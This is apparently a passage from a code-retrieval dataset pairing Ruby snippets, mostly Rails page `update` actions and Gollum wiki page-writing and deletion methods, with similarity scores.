"def update\n respond_to do |format|\n if @page.update(page_params)\n Rails.application.reload_routes!\n format.html { redirect_to admin_page_path(@page), notice: 'Page was successfully updated.' }\n format.json { render :show, status: :ok, location: @page }\n else\n format.html { render :edit }\n format.json { render json: @page.errors, status: :unprocessable_entity }\n end\n end\n # log\n fields = @page.fields.each do |f| f.inspect end\n register_log \"Page updated: #{@page.inspect} -- Custom type fields: #{fields}\\n\"\n end",
"def commit_with_content(page, content, log = nil)\n escaped_page = escape(page)\n wiki = File.read(File.join(@data_path, \"text\", \".wiki\"))\n dir = File.join(@root, wiki, escaped_page).untaint\n revision = last_revision(page) + 1\n page_path = File.join(@data_path, \"text\", escaped_page).untaint\n FileUtils.mkdir_p(dir)\n FileUtils.rm_f(File.join(dir, \".removed\"))\n\n File.open(page_path, \"w+\") do |file|\n file.write(content)\n end\n FileUtils.cp(page_path, File.join(dir, revision.to_s))\n end",
"def update_or_create_page(title: nil, parent_title: nil, space_key: nil, content: '')\n page = find_page_by_title(title: title, space_key: space_key)\n if page.empty?\n puts \"Creating new page: #{title}\"\n parent_page = find_page_by_title(title: parent_title, space_key: Settings.space_key)\n return \"No Parent: #{parent_title}\" if parent_page.empty?\n result = new_child_page(title: title, ancestor_id: parent_page['id'], \n space_key: space_key, content: content)\n else\n puts \"Updating page: #{title}\"\n result = update_page(page: page, space_key: space_key, content: content)\n end\n end",
"def update\n if @page.update_attributes(params[:page])\n respond_with(@page)\n else\n respond_with(@page)\n end\n end",
"def update\n\t\t@page = Page.find(params[:id])\n\n\t\trespond_to do |format|\n\t\t\tif @page.update_attributes(params[:page])\n\t\t\t\tformat.html { redirect_to @page, notice: 'Boom, page updated.' }\n\t\t\t\tformat.json { head :no_content }\n\t\t\telse\n\t\t\t\tformat.html { render action: \"edit\" }\n\t\t\t\tformat.json { render json: @post.errors, status: :unprocessable_entity }\n\t\t\tend\n\t\tend\n\tend",
"def update\n @page = find_or_create_page\n\n unless @page.update_attributes(params[:page])\n @presenter = Presenters::PagePresenter.new(@page, self.class.helpers)\n end\n\n respond_with(@page)\n end",
"def update!(**args)\n @content = args[:content] if args.key?(:content)\n @derived_struct_data = args[:derived_struct_data] if args.key?(:derived_struct_data)\n @id = args[:id] if args.key?(:id)\n @json_data = args[:json_data] if args.key?(:json_data)\n @name = args[:name] if args.key?(:name)\n @parent_document_id = args[:parent_document_id] if args.key?(:parent_document_id)\n @schema_id = args[:schema_id] if args.key?(:schema_id)\n @struct_data = args[:struct_data] if args.key?(:struct_data)\n end",
"def update\n respond_to do |wants|\n if @page.update_attributes(params[:page])\n \n flash[:notice] = 'Страница сохранена.'\n wants.html { redirect_to(admin_pages_url) }\n wants.xml { head :ok }\n else\n wants.html { render :action => \"edit\" }\n wants.xml { render :xml => @page.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def page(wiki, commit)\n blob = self.blob(wiki.repo)\n page = wiki.page_class.new(wiki).populate(blob, self.dir)\n page.version = commit\n page\n end",
"def update!(**args)\n @content = args[:content] if args.key?(:content)\n @format = args[:format] if args.key?(:format)\n end",
"def update\n respond_to do |format|\n if @page.update(page_params)\n format.html { redirect_to @page, notice: 'Page was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: 'edit' }\n format.json { render json: @page.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @page.update(page_params)\n format.html { redirect_to @page, notice: 'Page was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: 'edit' }\n format.json { render json: @page.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @page = Page.find(params[:id])\n\n respond_to do |format|\n if @page.update_attributes(params[:page])\n flash[:notice] = t(:page_updated)\n format.html { redirect_back_or_default(admin_page_path(@page)) }\n format.xml { head :ok }\n else\n format.html { render :action => 'edit' }\n format.xml { render :xml => @page.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def update\n\t\trespond_to do |format|\n\t\t\tputs \"format: #{format.inspect}\"\n\t\t\tdata = page_params\n\t\t\tif data\n\t\t\t\tif @page.update(data)\n\t\t\t\t\tformat.html { redirect_to @page, notice: 'Page was successfully updated.' }\n\t\t\t\t\tformat.json { render :show, status: :ok, location: @page }\n\t\t\t\t\tformat.js {}\n\t\t\t\telse\n\t\t\t\t\tformat.html { render :edit }\n\t\t\t\t\tformat.json { render json: @page.errors, status: :unprocessable_entity }\n\t\t\t\t\tformat.js {}\n\t\t\t\tend\n\t\t\telse\n\t\t\t\top = params[:op]\n\t\t\t\tcase op\n\t\t\t\t\twhen 'add_block'\n\t\t\t\t\t\t@after_id = params[:after_id]\n\t\t\t\t\t\t@after_part = params[:after_part]\n\t\t\t\t\t\t@block_type = params[:block_type]\n\t\t\t\t\t\t@part = @page.insert_part_after(@block_type, @after_part)\n\t\t\t\t#\t\t@journal_submission.sm_submit! # '1234567'\n\t\t\t\t\t\tformat.js { render 'pages/op/add_block' }\n\t\t\t\t\twhen 'remove_block'\n\t\t\t\t\t\t@block_id = params[:block_id]\n\t\t\t\t\t\t@page.remove_part(@block_id)\n\t\t\t\t\t\tformat.js { render 'pages/op/remove_block' }\n\t\t\t\t\twhen 'save_part_content'\n\t\t\t\t\t\t@part_id = params[:part_id]\n\t\t\t\t\t\tcontent = params[:content]\n\t\t\t\t\t\t@page.save_part_content(@part_id, content)\n\t\t\t\t\t\tformat.js { render 'pages/op/save_part_content' }\n\t\t\t\t\twhen 'save_part_config'\n\t\t\t\t\t\t@part_id = params[:part_id]\n\t\t\t\t\t\t@part = @page.get_part @part_id\n\t\t\t\t\t\tconfig = params[:config]\n\t\t\t\t\t\tconfig = ActiveSupport::JSON.decode(config)\n\t\t\t\t\t\t@page.save_part_config(@part_id, config)\n\t\t\t\t\t\tformat.js { render 'pages/op/save_part_config' }\n\t\t\t\t#\twhen 'revise'\n\t\t\t\tend\nputs params\n\t\t\tend\n\t\tend\n\tend",
"def update\n @page = Page.find(params[:id])\n\n respond_to do |format|\n if @page.update_attributes(params[:page])\n format.html { redirect_to(pages_path, :notice => 'Page was successfully updated.') }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @page.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def update\n @page = Page.find(params[:id])\n\n respond_to do |format|\n if @page.update_attributes(params[:page])\n format.html { redirect_to [:admin, @page], notice: 'Страница успешно создана.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @page.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @page = Page.find(params[:id])\n respond_to do |format|\n if @page.update_attributes(params[:page])\n format.html { redirect_to @page, notice: 'Page was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @page.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n\t\t@page = Page.find(params[:id])\n\t\trespond_to do |format|\n\t\t\tif @page.update_attributes(params[:page])\n\t\t\t\tflash[:notice] = 'Page was successfully updated.'\n\t\t\t\tformat.html { redirect_to(@page) }\n\t\t\t\tformat.xml\t{ head :ok }\n\t\t\telse\n\t\t\t\tformat.html { render :action => \"edit\" }\n\t\t\t\tformat.xml\t{ render :xml => @page.errors, :status => :unprocessable_entity }\n\t\t\tend\n\t\tend\n\tend",
"def update\n @page = Page.find(params[:id])\n\n respond_to do |format|\n if @page.update_attributes(params[:page])\n format.html { redirect_to page_path(@page), notice: 'Page was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @page.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update_pages_entry(db, read, id)\n\tdb.execute(\"UPDATE books SET read=? WHERE id=?\", [read, id])\nend",
"def update\n @page = Page.find(params[:id])\n\n respond_to do |format|\n if @page.update_attributes(params[:page])\n format.html { redirect_to @page, notice: 'Page was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @page.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @page = Page.find(params[:id])\n\n respond_to do |format|\n if @page.update_attributes(params[:page])\n format.html { redirect_to @page, notice: 'Page was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @page.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @page = Page.find(params[:id])\n\n respond_to do |format|\n if @page.update_attributes(params[:page])\n format.html { redirect_to @page, notice: 'Page was successfully updated.' }\n format.json { head :ok }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @page.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @page = Page.find(params[:id])\n\n respond_to do |format|\n if @page.update_attributes(params[:page])\n format.html { redirect_to @page, notice: 'Page was successfully updated.' }\n format.json { head :ok }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @page.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @page = Page.find(params[:id])\n \n Rails.logger.info \"ID: #{params[:id]}\"\n Rails.logger.info \"BODY: #{params[:page][:body].inspect}\"\n\n # Convert <div> line breaks to <p>\n params[:page][:body] = params[:page][:body].gsub(/\\<div\\>/, '<p>')\n params[:page][:body] = params[:page][:body].gsub(/\\<\\/div\\>/, '</p>')\n params[:page][:body] = params[:page][:body].gsub(/\\<p\\>\\<br\\>\\<\\/p\\>/, '')\n params[:page][:body] = params[:page][:body].gsub(/\\<br\\>/, '')\n \n respond_to do |format|\n if @page.update_attributes(params[:page])\n Rails.logger.info \"UPDATED PAGE!\"\n format.html { redirect_to @page, notice: 'Page was successfully updated.' }\n format.json { render :json => @page }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @page.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @page = Page.find(params[:id])\n\n respond_to do |format|\n if @page.update_attributes(params[:page])\n flash[:notice] = _('Page was successfully updated.')\n format.html { redirect_to(@page) }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @page.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def update\n @page = Page.find(params[:id])\n\n respond_to do |format|\n if @page.update_attributes(params[:page])\n flash[:notice] = :page_updated.l\n format.html { redirect_to(@page) }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @page.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def update\n @page = Page.find_by_slug(params[:id])\n\n respond_to do |format|\n if @page.update_attributes(params[:page])\n flash[:notice] = 'Page was successfully updated.'\n format.html { redirect_to @page.get_page_path }\n # format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @page.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def update\n @page = Page.find(params[:id])\n\n respond_to do |format|\n if @page.update_attributes(params[:page])\n format.html { redirect_to pages_path, notice: 'Page was successfully updated.' }\n format.json { head :ok }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @page.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n #Render the object created or errors\n respond_to do |format|\n if @page.update(page_params)\n #Cache bust pages and updated page. With pagination we would only bust the cache of the page that was updated.\n Rails.cache.delete(\"pages\")\n Rails.cache.delete(\"page-#{@page.id}\")\n format.json { render action: 'show', status: :ok, location: api_page_url(@page) }\n else\n format.json { render json: @page.errors, status: :unprocessable_entity }\n end\n end\n end",
"def edit\r\n @page = Page.find(params[:id])\r\n data = File.read(\"#{Rails.public_path}/#{@page.project_id}/#{@page.page_name}.html\")\r\n @page.update_attribute(:html , data)\r\n end",
"def update\n @page = Page.find(params[:id])\n\n respond_to do |format|\n if @page.update_attributes(params[:page])\n format.html { redirect_to(@page, :notice => 'Page was successfully updated.') }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @page.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def update\n @page = Page.find(params[:id])\n\n respond_to do |format|\n if @page.update_attributes(params[:page])\n format.html { redirect_to(@page, :notice => 'Page was successfully updated.') }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @page.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def set_page(name, version, content)\n p \"set page: #{name} : #{version.class}\"\n page = wiki.page(name, version)\n if !page.nil?\n path = page_path(name, version)\n FileUtils.mkdir_p(File.dirname(path))\n File.open(path, 'w') do |f|\n f.write(content)\n end\n end\n end",
"def update\n @page = Page.find(params[:id])\n\n respond_to do |format|\n if @page.update_attributes(params[:page])\n flash[:notice] = 'Pages was successfully updated.'\n format.html { redirect_to(@page) }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @page.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @page.update(page_params)\n format.html { redirect_to @page, notice: 'Page was successfully updated.' }\n format.json { render :show, status: :ok, location: @page }\n else\n format.html { render :edit }\n format.json { render json: @page.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @page.update(page_params)\n format.html { redirect_to @page, notice: 'Page was successfully updated.' }\n format.json { render :show, status: :ok, location: @page }\n else\n format.html { render :edit }\n format.json { render json: @page.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @page.update(page_params)\n format.html { redirect_to @page, notice: 'Page was successfully updated.' }\n format.json { render :show, status: :ok, location: @page }\n else\n format.html { render :edit }\n format.json { render json: @page.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @page.update(page_params)\n format.html { redirect_to @page, notice: 'Page was successfully updated.' }\n format.json { render :show, status: :ok, location: @page }\n else\n format.html { render :edit }\n format.json { render json: @page.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @page = Page.find(params[:id])\n\n respond_to do |format|\n if @page.update_attributes(params[:page])\n flash[:notice] = 'Page was successfully updated.'\n format.html { redirect_to(@page) }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @page.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def update\n @page = Page.find(params[:id])\n\n respond_to do |format|\n if @page.update_attributes(params[:page])\n flash[:notice] = 'Page was successfully updated.'\n format.html { redirect_to(@page) }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @page.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def page_file_name(name, format)\n format.nil? ? name : \"#{name}.#{::Gollum::Page.format_to_ext(format)}\"\n end",
"def update\n @page = Page.find(params[:id])\n\n respond_to do |format|\n if @page.update_attributes(params[:page])\n format.html { redirect_to pages_path, sucess: 'Page was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @page.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n begin\n if @page.update(page_params)\n flash[:success] = 'Page was successfully updated.'\n format.html { redirect_to admin_page_url(@page) }\n format.json { render :show, status: :ok, location: @page }\n else\n format.html { render :edit }\n format.json { render json: @page.errors, status: :unprocessable_entity }\n end\n rescue Exception => e \n flash[:danger] = \"Oops! Something went wrong: #{e.message}\"\n format.html { render :new }\n end\n end\n end",
"def update\n @page = Page.find(params[:id])\n\n respond_to do |format|\n if @page.update_attributes(params[:page])\n # format.html { redirect_to @page, notice: 'Page was successfully updated.' }\n format.html { redirect_to action: \"edit\", id: params[:id], notice: 'Page was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @page.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @page.update(page_params)\n format.html { redirect_to page_path(@page), notice: 'Page was successfully updated.' }\n format.json { head :no_content }\n else\n flash[:notice] = @page.errors.full_messages.to_sentence\n format.html { render action: 'edit' }\n format.json { render json: [@page.errors.full_messages.to_sentence], status: :unprocessable_entity }\n end\n end\n end",
"def update\n @page = Page.find(params[:id])\n respond_to do |format|\n if @page.update(page_params)\n format.html { redirect_to @page, notice: \"Page was successfully updated. #{undo_link}\" }\n format.json { head :no_content }\n else\n format.html { render action: 'edit' }\n format.json { render json: @page.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update_page request_pb, options = nil\n raise ::ArgumentError, \"request must be provided\" if request_pb.nil?\n\n verb, uri, query_string_params, body = ServiceStub.transcode_update_page_request request_pb\n query_string_params = if query_string_params.any?\n query_string_params.to_h { |p| p.split \"=\", 2 }\n else\n {}\n end\n\n response = @client_stub.make_http_request(\n verb,\n uri: uri,\n body: body || \"\",\n params: query_string_params,\n options: options\n )\n operation = ::Gapic::Rest::TransportOperation.new response\n result = ::Google::Cloud::Dialogflow::CX::V3::Page.decode_json response.body, ignore_unknown_fields: true\n\n yield result, operation if block_given?\n result\n end",
"def update\n page_updated = @page.update(page_params)\n NotificationMailer.page_edit_notification(current_user, @page).deliver_now if page_updated \n\n respond_to do |format|\n if page_updated\n format.html { redirect_to @page, notice: 'Page was successfully updated.' }\n format.json { render :show, status: :ok, location: @page }\n else\n format.html { render :edit }\n format.json { render json: @page.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @page.update(page_params)\n format.html { redirect_to edit_admin_page_path(@page), notice: 'Page was successfully updated.' }\n else\n format.html { render :edit }\n end\n end\n end",
"def update\n @page = Page.find(params[:id])\n\n respond_to do |format|\n if @page.update_attributes(params[:page])\n format.json { head :no_content }\n format.xml { head :no_content }\n else\n format.json { render json: @page.errors, status: :unprocessable_entity }\n format.xml { render xml: @page.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @page = @user.pages.find_by_permalink(params[:id])\n\n respond_to do |format|\n if @page.update_attributes(params[:page])\n flash[:notice] = 'Page was successfully updated.'\n format.html { redirect_to(@page) }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @page.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def update\n @page = current_user.pages.find(params[:id])\n \n respond_to do |format|\n if @page.update_attributes(params[:page])\n format.html { redirect_to page_path(@page) }\n else\n format.html { render action: \"edit\" }\n end\n end\n end",
"def update\n @page = Page.find(params[:id])\n @user = current_user\n respond_to do |format|\n if @page.update_attributes(params[:page])\n format.html { redirect_to(@page, :notice => 'Page was successfully updated.') }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @page.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def update\n @page = @site.pages.find(params[:id])\n @page.updated_by = current_user\n\n respond_to do |format|\n if @page.update_attributes(params[:page])\n flash[:notice] = \"Page was successfully updated.\"\n format.html { redirect_to(@parent_page ? admin_site_page_child_path(@site, @parent_page, @page) : admin_site_page_path(@site, @page)) }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @page.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def update\n @page = Page.find(params[:id])\n\n # Update the last user that updated the content\n @page.content.user = current_user if logged_in?\n @page.content.published = true if params[:commit] == \"Publish\"\n @page.tag_list.add(params[:tags_to_apply], :parse => true)\n\t\n respond_to do |format|\n if @page.update_attributes(params[:page]) && @page.content.update_attributes(params[:content])\n notify :notice, 'Page was successfully updated.'\n \n format.html { redirect_to(@page) }\n format.xml { head :ok }\n format.js\n else\n\t\t notify :error, \"There was an error updating the page.\"\n\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @page.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def update\n @page = Page.find(params[:id])\n\n if @page.update_attributes(params[:page])\n respond_to do |format|\n format.json {render json: @page, status: :created }\n format.xml {render xml: @page, status: :created}\n end\n \n else\n respond_to do |format|\n format.json {render json: @page.errors, status: :unprocessable_entity}\n format.xml {render xml: @page.errors, status: :unprocessable_entity}\n end\n end\n end",
"def update\n # @page = Page.new(page_params)\n\n # @page.components.build\n # @page.update\n respond_to do |format|\n if @page.update(page_params)\n format.html { redirect_to @page, notice: 'Page was successfully updated.' }\n format.json { render :show, status: :ok, location: @page }\n else\n format.html { render :edit }\n format.json { render json: @page.errors, status: :unprocessable_entity }\n end\n end\n end",
"def put(name, page)\n assert_attributes_set\n path = File.join directory, name\n page.delete 'plugin'\n Store.put_page(path, page, :name => name, :directory => directory)\n end",
"def update\n @page = Page.find(params[:id])\n\n respond_to do |format|\n if @page.update_attributes(params[:page])\n format.html { redirect_to admin_pages_path, notice: 'Page bien modifiée.' }\n else\n format.html { render action: \"edit\" }\n end\n end\n end",
"def update_page\n if self.page && self.page.reload\n self.page.update_modified(true) unless self.page.is_modified?\n end\n rescue ActiveRecord::RecordNotFound\n nil\n end",
"def update\n @page = Page.find(params[:id])\n @page.update_attributes(params[:page])\n respond_with(@page, :status => :updated)\n end",
"def update\n @page = Page.find(params[:id])\n\n respond_to do |format|\n if @page.update_attributes(params[:page])\n flash[:notice] = 'Page was successfully updated.'\n format.html { redirect(@page) }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @page.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def update\n @html_page.attributes = params[:html_page]\n\n respond_to do |format|\n if @commit_type == 'preview' && @html_page.valid?\n format.html do\n find_images_and_attachments\n render :template => 'admin/shared/update_preview', :locals => { :record => @html_page }, :layout => 'admin/admin_preview'\n end\n format.xml { render :xml => @html_page, :status => :created, :location => @html_page }\n elsif @commit_type == 'save' && @html_page.save(:user => current_user)\n format.html { render 'admin/shared/update' }\n format.xml { head :ok }\n else\n format.html { render :template => 'admin/shared/edit', :locals => { :record => @html_page }, :status => :unprocessable_entity }\n format.xml { render :xml => @html_page.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def replace_text_formatting(name, old_value, new_value, portion_format = nil, with_masters = nil, password = nil, folder = nil, storage = nil)\n data, _status_code, _headers = replace_text_formatting_with_http_info(name, old_value, new_value, portion_format, with_masters, password, folder, storage)\n data\n end",
"def update!(**args)\n @commits = args[:commits] if args.key?(:commits)\n @next_page_token = args[:next_page_token] if args.key?(:next_page_token)\n end",
"def edit\n # Clear the page cache for this page... ?\n @page = Comatose::Page.find_is_snippet params[:id]\n if request.post?\n @page.update_attributes(params[:page])\n @page.updated_on = Time.now\n @page.author = current_user\n if @page.valid? && @page.save\n expire_cms_page @page\n expire_cms_fragment @page\n flash[:notice] = \"Saved changes to '#{@page.title}'\"\n redirect_to :controller=>self.controller_name, :action=>'index'\n end\n \n end\n end",
"def write(content, message, author = nil)\n if !content.respond_to? :read\n content.gsub!(\"\\r\\n\", \"\\n\")\n\treturn if @object && @object.data == content\n end\n\n Wiki.check do |errors|\n errors << :already_exists.t(:path => @path) if new? && Resource.find(@repository, @path)\n errors << :empty_commit_message.t if message.blank?\n end\n\n repository.transaction(message, author && author.to_git_user) do\n content = content.read if content.respond_to? :read # FIXME\n repository.root[@path] = Gitrb::Blob.new(:data => content)\n end\n\n reload\n @commit = repository.log(1, nil).first\n @object = @commit.tree[@path] || raise(NotFound, path)\n @current = true\n end",
"def update_page_data(page_id, id, data)\n put \"pages/#{page_id}/data/#{id}\", {value: data}\n end",
"def update\n if @page.update(page_params)\n redirect_to admin_pages_path, notice: 'Страница успешно обновлена!'\n else\n render :edit\n end\n end",
"def update\n @page = Page.find(params[:id])\n @page.update_attributes(params[:page])\n respond_with(@page)\n end",
"def update!(**args)\n @author_name = args[:author_name] if args.key?(:author_name)\n @children = args[:children] if args.key?(:children)\n @date = args[:date] if args.key?(:date)\n @docid = args[:docid] if args.key?(:docid)\n @parent = args[:parent] if args.key?(:parent)\n end"
] |
[
"0.8066288",
"0.7657035",
"0.67497456",
"0.5750299",
"0.5526422",
"0.53825146",
"0.533675",
"0.53205603",
"0.52255136",
"0.5195347",
"0.5171513",
"0.51500803",
"0.5118075",
"0.5068095",
"0.505763",
"0.5055613",
"0.50194174",
"0.5013346",
"0.5001557",
"0.49503374",
"0.49402943",
"0.49386278",
"0.49218142",
"0.4917744",
"0.48821387",
"0.48635316",
"0.48619345",
"0.48337308",
"0.47949693",
"0.47778288",
"0.47750956",
"0.47658855",
"0.47564042",
"0.4754883",
"0.47421253",
"0.47399822",
"0.47329402",
"0.47185165",
"0.47164592",
"0.47164592",
"0.47069892",
"0.47067764",
"0.46998787",
"0.46987772",
"0.46846008",
"0.4679869",
"0.4675036",
"0.4671475",
"0.46708778",
"0.46708778",
"0.46627444",
"0.46627444",
"0.4653857",
"0.4648911",
"0.4647166",
"0.46414572",
"0.4638818",
"0.46323434",
"0.46257445",
"0.4621468",
"0.4621468",
"0.46164614",
"0.46130174",
"0.46116504",
"0.46116504",
"0.46116504",
"0.46116504",
"0.46111497",
"0.46111497",
"0.4607882",
"0.46061417",
"0.4604065",
"0.46035525",
"0.45997086",
"0.45984632",
"0.45874956",
"0.45763317",
"0.45723677",
"0.45699918",
"0.4568071",
"0.45664403",
"0.45643598",
"0.45602897",
"0.4557066",
"0.45542714",
"0.455288",
"0.45433265",
"0.45322165",
"0.45298162",
"0.45291474",
"0.4525696",
"0.45233688",
"0.45218748",
"0.45215052",
"0.4518087",
"0.45153272",
"0.44951916",
"0.4478819",
"0.4477547",
"0.4476036"
] |
0.7920035
|
1
|
Public: Delete a page. page The Gollum::Page to delete. commit The commit Hash details: :message The String commit message. :name The String author full name. :email The String email address. :parent Optional Gollum::Git::Commit parent to this update. :tree Optional String SHA of the tree to create the index from. :committer Optional Gollum::Committer instance. If provided, assume that this operation is part of batch of updates and the commit happens later. Returns the String SHA1 of the newly written version, or the Gollum::Committer instance if this is part of a batch update.
|
def delete_page(page, commit)
delete_file(page.url_path, commit)
end
|
{
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
[
"def delete_page(page, commit)\n index = nil\n sha1 = commit_index(commit) do |idx|\n index = idx\n index.delete(page.path)\n end\n\n dir = ::File.dirname(page.path)\n dir = '' if dir == '.'\n\n @access.refresh\n update_working_dir(index, dir, page.name, page.format)\n\n sha1\n end",
"def delete_page(page)\n transaction \"delete `#{page.title}'\" do\n store.delete(page.title + '.md')\n end\n end",
"def delete_file(path, commit)\n fullpath = ::File.join([page_file_dir, path].compact)\n multi_commit = !!commit[:committer]\n committer = multi_commit ? commit[:committer] : Committer.new(self, commit)\n\n committer.delete(fullpath)\n\n committer.after_commit do |index, _sha|\n dir = '' if dir == '.'\n @access.refresh\n index.update_working_dir(fullpath)\n end\n\n multi_commit ? committer : committer.commit\n end",
"def delete_page(id)\n @client.raw('delete', \"/content/pages/#{id}\")\n end",
"def update_page(page, name, format, data, commit = {})\n name = name ? ::File.basename(name) : page.name\n format ||= page.format\n dir = ::File.dirname(page.path)\n dir = '' if dir == '.'\n filename = (rename = page.name != name) ? Gollum::Page.cname(name) : page.filename_stripped\n\n multi_commit = !!commit[:committer]\n committer = multi_commit ? commit[:committer] : Committer.new(self, commit)\n\n if !rename && page.format == format\n committer.add(page.path, normalize(data))\n else\n committer.delete(page.path)\n committer.add_to_index(dir, filename, format, data)\n end\n\n committer.after_commit do |index, _sha|\n @access.refresh\n index.update_working_dir(dir, page.filename_stripped, page.format)\n index.update_working_dir(dir, filename, format)\n end\n\n multi_commit ? committer : committer.commit\n end",
"def remove_page(name, version='master')\n page = wiki.page(name, version)\n File.delete(page_path(name, version)) if !page.nil? && File.exists?(page_path(name, version))\n end",
"def update_page(page, name, format, data, commit = {})\n name ||= page.name\n format ||= page.format\n dir = ::File.dirname(page.path)\n dir = '' if dir == '.'\n index = nil\n sha1 = commit_index(commit) do |idx|\n index = idx\n if page.name == name && page.format == format\n index.add(page.path, normalize(data))\n else\n index.delete(page.path)\n add_to_index(index, dir, name, format, data, :allow_same_ext)\n end\n end\n\n @access.refresh\n update_working_dir(index, dir, page.name, page.format)\n update_working_dir(index, dir, name, format)\n\n sha1\n end",
"def destroy\n @page.destroy\n respond_to do |format|\n format.html { redirect_to(admin_pages_url) }\n format.xml { head :ok }\n end\n website.add_log(user: current_user, action: \"Deleted page: #{@page.title}\")\n end",
"def revert_page(page, sha1, sha2 = nil, commit = {})\n return false unless page\n left, right, options = parse_revert_options(sha1, sha2, commit)\n commit_and_update_paths(@repo.git.revert_path(page.path, left, right), [page.path], options)\n end",
"def delete\n @page = ComatosePage.find params[:id]\n if request.post?\n expire_cms_pages_from_bottom @page\n expire_cms_fragments_from_bottom @page\n @page.destroy\n flash[:notice] = \"Deleted page '#{@page.title}'\"\n redirect_to :controller=>self.controller_name, :action=>'index'\n end\n end",
"def update_page(page, name, format, data, commit = {})\n name ||= page.name\n format ||= page.format\n dir = ::File.dirname(page.path)\n dir = nil if dir == '.'\n rename = (page.name != name || page.format != format)\n new_path = ::File.join([dir, self.page_file_name(name, format)].compact) if rename\n\n multi_commit = !!commit[:committer]\n committer = multi_commit ? commit[:committer] : Committer.new(self, commit)\n\n if !rename\n committer.add(page.path, normalize(data))\n else\n committer.delete(page.path)\n committer.add_to_index(new_path, data)\n end\n\n committer.after_commit do |index, _sha|\n @access.refresh\n index.update_working_dir(page.path)\n index.update_working_dir(new_path) if rename\n end\n\n multi_commit ? committer : committer.commit\n end",
"def destroy\n @page = Page.find(params[:id])\n @page.destroy\n redirct_to root_path\n end",
"def delete_page_content(page_id, id)\n delete_content(Voog::API::Contents::ParentKind::Page, page_id, id)\n end",
"def destroy\n # Trying to delete a page that is homepage\n if(Setting.where(key: \"homepage\").first.value == \"/pages/\" + @page.id.to_s)\n redirect_to admin_settings_path, alert: \"You are trying to delete a page that is Homepage. \n Please change the settings first.\"\n else\n # var for register_log\n fields = @page.fields.each do |f| f.inspect end\n\n @page.destroy\n respond_to do |format|\n format.html { redirect_to admin_pages_url, notice: 'Page was successfully destroyed.' }\n format.json { head :no_content }\n end\n # log\n register_log \"Page destroyed: #{@page.inspect} -- Custom type fields: #{fields}\\n\"\n end\n end",
